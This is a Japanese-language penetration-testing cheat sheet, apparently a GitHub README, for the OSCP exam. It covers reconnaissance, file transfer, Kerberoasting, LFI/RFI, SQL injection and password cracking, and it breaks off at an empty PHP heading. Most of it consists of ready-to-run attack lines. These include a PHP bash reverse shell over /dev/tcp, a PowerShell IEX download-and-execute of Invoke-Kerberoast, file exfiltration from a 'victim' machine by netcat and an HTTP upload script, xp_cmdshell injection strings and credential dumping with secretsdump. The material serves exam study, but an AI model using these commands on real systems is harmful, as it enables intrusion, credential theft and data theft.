
PWK/OSCP試験対策のための包括的なペネトレーションテストチートシート。権限昇格、パスワードクラッキング、ペイロード生成、ポストエクスプロイテーション、ポートスキャン、Web攻撃、偵察手法を網羅。
JustTryHarder は、PWKコースおよびOSCP試験を支援するチートシートです。
(PayloadAllTheThingsに触発されました)
もし役立ったなら、Pull Requestを送ったりスターを残して愛を示してください。💖
Hacktoberfest 歓迎! はい、Hacktoberfest の Pull Request を受け付けています!スパムではなく、このリポジトリに実際に貢献するものにしてください。ありがとうございます。ハッピーハッキング!
免責事項: 以下にはPWKラボやOSCP試験のネタバレは含まれません。
この情報の多くは、他のGithubリポジトリ、ブログ、サイトなどから入手しました。元の作成者にできる限りクレジットを付けるよう努めました。クレジットが付与されていない場合は、Twitterでご連絡ください: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL` を使用してホストの OS を判別できます。TTL には以下の 3 種類があります。
- **TTL=64** = \*nix - ホップ数。もし 61 を取得した場合、3 ホップで \*nix デバイスであることを示します。ほとんどの場合 Linux です。
- **TTL=128** = Windows - 同様に、TTL が 127 なら 1 ホップで Windows マシンです。
- **TTL=254** = Solaris/AIX - TTL が 250 ならホップ数は 4 で Solaris マシンです。
## BOF (WIP)
(よくある悪意のあるバイトには、`0x00`、`0x0A`、`0x0D` が含まれます。)
- ファジング
- EIP 位置の特定
- 悪意のあるバイトの特定
- `jmp esp` の特定
- `msfvenom` を使用したペイロードの生成
- `netcat` を使用したリバースシェルの取得
**BOF の参考資料:**
- [NCC Group - Windows 用エクスプロイトの作成](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - エクスプロイト作成チュートリアル パート 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32 ビット Windows バッファオーバーフローの簡単な解説](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## 脱出 / 環境エスケープ
- [Pentest Partners - Citrix からの脱出](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk 脱出](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS 脱出キー](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Citrix 環境からの脱出](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - アプリケーションからの脱出](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - 環境脱出に関する一般的な問題 (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix 脱出](https://gracefulsecurity.com/citrix-breakout/)
## DNS - ゾーン転送```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## ファイル転送
### SMB転送
被害者マシン(Windows)の場合:```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget 転送
リバースシェル内でホストからファイルを取得する方法。
**セットアップ:** 転送したいファイルを `/var/www/html/` に配置し、`service apache2 start` を実行します。
リモートサーバーで実行:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### TFTP転送
(KaliからWindowsへの転送方法)。
**MSFの使用:**
これらの手順の前にMSFを起動してください:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**ターミナル内:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (WindowsからKali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
インタラクティブセッション:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
インタラクティブなPowerShellセッションを使用せずに(`wget.ps1`を作成):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -> Linux)
**ローカルホスト:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. `encoded.b64` を `nc` などを介してリモートサーバーに転送します。
**リモートサーバ (Linux):**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTPファイルアップロード(外部流出)
**1. upload.phpの作成**
攻撃マシンのウェブルート(デフォルトでは`/var/www/html`)に作成する。```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. ディレクトリを作成**
アップロードディレクトリを作成し、アップロードを許可する適切な権限を設定します。```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. ファイルのアップロード**
PowerShellを使用して被害マシンから攻撃マシンにファイルをアップロードします:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHPリバースシェル:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**コマンドインジェクション:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL Injection Cheatsheet](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL Injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## パスワードクラッキング
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## パスワードスプレー攻撃 (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## ペイロード生成
- [NETSEC - ペイロード作成](https://netsec.ws/?p=331)
- [MsfVenom チートシート](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed ペイロード](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**種類:**
- 非ステージド: `netcat`
- ステージド: `multi/handler`
## PHP
```